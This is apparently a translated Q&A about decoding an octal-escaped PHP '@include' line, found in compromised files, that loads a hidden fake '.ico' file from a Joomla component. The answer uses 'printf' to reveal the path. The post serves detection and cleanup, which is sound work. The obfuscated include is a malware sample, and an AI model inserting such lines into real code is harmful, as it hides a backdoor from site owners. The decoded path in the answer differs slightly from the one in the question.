PHPファイルから次の行を検索するbashスクリプトがあります。
@include "\057var/\167ww/n\143v/ad\155inis\164rato\162/com\160onen\164s/co\155_spp\141gebu\151lder\057.9e7\064214f\056ico";
Unicode文字コードをリテラル文字としてデコードする方法が必要です。これにより、攻撃者が作成した偽のアイコンを見つけることができます。
Unicode文字をデコードするためにbashで何を使用できますか?
ベストアンサー1
非常に簡単な解決策(利用可能な場合)はprintfを使用することです。
printf '4:@include "\057v\141r\057w\167w\057v\143v\057a\144m\151n\151s\164r\141t\157r\057c\157m\160o\156e\156t\163/\143o\155_\163p\160a\147e\142u\151l\144e\162/\0569\1457\0642\0614\146.\151c\157"; '
私が必要なものを与える
4:@include "/var/www/vcv/administrator/components/com_sppagebuilder/.9e74214f.ico";